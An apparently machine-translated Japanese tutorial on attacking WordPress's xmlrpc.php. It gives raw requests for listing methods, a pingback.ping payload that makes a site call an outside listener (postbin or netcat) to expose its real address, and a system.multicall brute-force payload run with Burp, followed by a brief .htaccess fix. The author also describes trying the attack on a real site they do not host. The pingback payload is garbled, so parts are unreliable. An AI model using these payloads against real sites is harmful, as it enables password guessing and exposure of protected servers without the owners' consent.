Articles

xmlrpc.phpを悪用する

X

Privacy & Cookies

このサイトはクッキーを使用しています。 続行することで、その使用に同意したことになります。 Cookie を制御する方法など、詳細についてはこちらをご覧ください。

Got It!

広告

XML-RPC とは?

XML-RPC とは情報またはデータをワープし XML ファイルにしてモバイル アプリまたはリモート ソフトウェアに送信する API です。 これは、昔はインターネットの速度が速くなかったので、オンラインで書き込む代わりに導入されました。 ユーザーは、オフラインでコンテンツを書き、APIを使ってまとめて公開する。

xml_for

脆弱性とは何ですか?

  1. ブルートフォース攻撃。 攻撃を実行する主な理由は、このAPIは、サイトへのログイン試行のキャップを持っていないことです。 正しい認証情報を取得していない可能性がありますが、それでもサイトに過負荷をかけるなどの問題が発生します。
  2. ログイン情報の傍受/窃取。 認証システムに欠ける。 ユーザーがウェブサイトにアクセスしようとするたびに、ログイン認証情報がXMLフォーム内で送信されます。
  3. XMLRPC pingback.ping. 攻撃者はこのメソッドを使用して、WordPressサイトの実際の公開アドレスを取得することができます。

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

以下の攻撃を行う詳しい手順を紹介する前に、まず、以下の攻撃を行います。 あなたが行った違法行為は、すべてあなた自身の責任です。 私はあなたの行動に一切責任を負いません。 ご自身の環境を整えていただくか、許可を得てから行ってください。

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️1312>

XMLRPC 攻撃 Burpsuite

最初に対象サイトで XMLRPC.php にアクセスできるかどうか確認します。 今回は、WordPressのデモサイトを設定して、攻撃を実施します。

checking

“XML-RPC server accepts POST requests only.”

ファイルを取得するためにGETメソッドを使用すると、通常はこの結果が得られます。

次に、XMLRPCサーバーで使用できるすべてのメソッドを取得するためにPOSTメソッドを行います。

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

サーバーから、使用可能なメソッドのリストを返信されます。 今回は、特にpingback.pingメソッドに注目します。 注意点として、これらのデータの入出力はすべて上記のようにXML形式を使用しています。

攻撃を行うには、まず以下の2つを準備する必要があります。

  • ターゲットとなる WordPress の投稿の有効な URL
  • <?xml version=”1.0″ encoding=”UTF-8″?ping</methodName>
    <params>
    <param>
    <value><string></string></value>
    </param>
    <param>
    <value><string></string></value>
    </param>
    </params>
    </methodCall>

    webhook

    result

    以下は、この WordPress サイトで実行されたこの攻撃の別の例です。 そうです! あなたが今見ているものです。 好奇心で、私がホストしているサイトではなく、実際のサイトを攻撃してみたいのです。

    own

    ご覧の通り、この攻撃は失敗し、postbinに結果が表示されません。 オンラインWordPressサイトの予防と対策はしてくれたようです。 この方法は、xmlrpc.php を無効にしていない、セルフセットアップのサイトでは有効です

    POSTBIN を使用したくない場合は、NC を開いてリスニングモードに設定してもうまくいきます 👍👍

    nc2

    XMLRPC.php を使ったブルートフォース攻撃

    上記のように、試行回数の制限はありません。 ユーザー名とパスワードの組み合わせを成功させることは、単に時間の問題です。

    <?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

    ログインに成功した場合と失敗した場合の違いを示すために、以下に例を挙げます。

    まず、攻撃対象を確認します。私の場合は自分のサイトの IP アドレスを使用します。

    target

    次に、Payload Positions を設定し、Attack type リストで ‘Cluster bomb’ を選択する必要があります。

    postion

    ここで、2つのペイロード位置を設定する必要があります、「ユーザー名」と「パスワード」です。 次に、単語リストを設定する必要があります。 これは、ペイロードの種類のドキュメントです

    usernamepassword

    準備ができたら「攻撃を開始」をクリックします

    success

    見てわかるように、リクエストの1つは異なる長さを持っています。 そして、応答タブで生データを確認すると、この組み合わせのセットが正常にログインしていることがわかります。

    予防

    1. 怠け者のためのプラグインをインストール
    2. xmlrpc.DISABLE を無効にする。.htaccess

    # Deny anyone to access the file
    <Files xmlrpc.php>
    order deny,allow
    deny from all
    </Files>